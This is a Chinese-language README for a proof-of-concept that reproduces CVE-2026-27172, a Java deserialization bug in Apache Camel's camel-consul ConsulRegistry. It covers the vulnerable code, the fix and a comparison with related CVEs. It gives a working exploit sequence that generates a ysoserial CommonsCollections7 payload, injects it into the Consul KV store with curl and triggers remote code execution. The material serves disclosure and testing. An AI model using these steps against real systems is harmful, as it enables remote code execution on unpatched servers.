本项目演示了 Apache Camel 的 camel-consul 组件(ConsulRegistry)中的一个 Java 反序列化漏洞,编号为 CVE-2026-27172。它与 CVE-2024-22369、CVE-2024-23114 和 CVE-2026-25747 属于同类问题,且在修复上述 CVE 时被遗漏。
公告:https://camel.apache.org/security/CVE-2026-27172.html
| 属性 | 值 |
|---|---|
| 受影响组件 | camel-consul |
| 受影响类 | org.apache.camel.component.consul.ConsulRegistry(ConsulRegistryUtils.deserialize) |
| 受影响方法 | lookupByName()、lookupByNameAndType()、findByTypeWithName()、findByType() |
| CWE | CWE-502:不可信数据的反序列化 |
| 影响 | 远程代码执行(RCE) |
| 受影响版本 | 3.0.0 至 4.14.6 之前,以及 4.15.0 至 4.18.1 之前 |
| 修复版本 | 4.14.6、4.18.1、4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry 将 Consul 键值存储用作 Camel 注册表。当按名称查找 bean 时,存储的值会被 Base64 解码,并使用原始 ObjectInputStream 进行反序列化,而且在受影响版本中,没有设置 ObjectInputFilter:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // 无过滤器(受影响版本)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - 受影响版本
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // 无任何过滤!
}
}
存储在 Consul KV 存储中、且 Camel 之后会按名称查找的任何对象都会被反序列化。攻击者只要能写入该 KV 路径,就可以植入 gadget 链载荷,并在注册表查找发生时执行。
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux(良性验证:创建一个文件)。macOS 请使用 "open -a Calculator",Windows 请使用 "calc.exe"。
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry 存储的是 Base64 编码的序列化对象,因此载荷以 Base64 形式提交。
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() 会读取 KV 值,进行 Base64 解码并反序列化——从而执行 gadget 链。
ls -la /tmp/pwned
如果文件 /tmp/pwned 存在,则说明漏洞利用成功。
只要注册表解析 bean,漏洞就会被触发:
.to("bean:...")、bean(...)、按名称调用的 .process("...") 都会调用 lookupByName()。findByType() / lookupByNameAndType() 会遍历 KV 条目并对其反序列化。commons-collections:3.2.1(CommonsCollections1-7 gadget)修复(CAMEL-23029)为 ConsulRegistryUtils.deserialize 增加了一个可配置的 ObjectInputFilter(默认 java.**;org.apache.camel.**;!*),并提供了 deserializationFilter 选项,以便将受信任的类加入白名单:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
在升级到修复版本之前:
CVE-2026-27172/
├── pom.xml # Maven 配置(受影响的 camel-consul 版本)
├── README.md # 本文件
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot 入口点
│ ├── ConsulRegistryRoute.java # Camel 路由(已禁用;展示真实用法)
│ └── ExploitController.java # 用于 PoC 的 REST 端点
└── resources/
└── application.properties
本复现工具仅用于安全研究和授权测试,针对的是已公开披露并已修复的漏洞。未经明确许可,请勿将其用于任何系统。
| 方面 | Cassandra(CVE-2024-23114) | LevelDB(CVE-2026-25747) | Consul(CVE-2026-27172) |
|---|
| 后端存储 | Cassandra 表 | LevelDB 文件 | Consul KV 存储 |
| ObjectInputFilter(修复前) | 无 | 无 | 无 |
| 修复方案 | ObjectInputFilter 白名单 | ObjectInputFilter 白名单 | ObjectInputFilter 白名单 |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |